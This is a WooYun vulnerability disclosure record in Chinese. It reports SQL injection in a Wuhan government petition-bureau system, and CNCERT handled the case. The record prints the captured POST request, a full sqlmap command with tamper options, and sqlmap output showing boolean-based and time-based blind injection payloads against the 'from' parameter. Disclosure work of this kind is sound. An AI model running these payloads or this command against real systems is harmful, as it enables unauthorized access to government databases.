当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163043

漏洞标题:武汉市某单位重要系统存在注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-22 00:04

修复时间:2016-02-08 18:23

公开时间:2016-02-08 18:23

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-22: 细节已通知厂商并且等待厂商处理中
2015-12-25: 厂商已经确认,细节仅向厂商公开
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-02-08: 细节向公众公开

简要描述:

RT

详细说明:

无意间找到的
武汉市信访局:

登录.png


注入post.txt:

POST /sunxf/ext/do/write.php HTTP/1.1
Content-Length: 175
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**/
Cookie: PHPSESSID=4maesm6lo3c05rsfkicp9rk924
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
action=query&condition=&from=1&pageIndex=0


sqlmap.py -r hah.txt --dbs -p from --tamper=space2comment,between --level 5 --risk 3 -D sunxf --count --is-dba


POST parameter 'from' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 436 HTTP(s) requests:
---
Parameter: from (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: action=query&condition=&from=-7389') OR 8183=8183 AND ('ewvE'='ewvE&pageIndex=0
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: action=query&condition=&from=1') OR SLEEP(5) AND ('PsWO'='PsWO&pageIndex=0
---
[21:59:25] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[21:59:25] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.24
back-end DBMS: MySQL 5.0.12

漏洞证明:

涉及的库很多:

9个库.png


主库涉及的表也蛮多:

sunxf-255个表.png

修复方案:

怕被查表,不敢深入 点到为止

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-25 18:58

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置。

最新状态:

暂无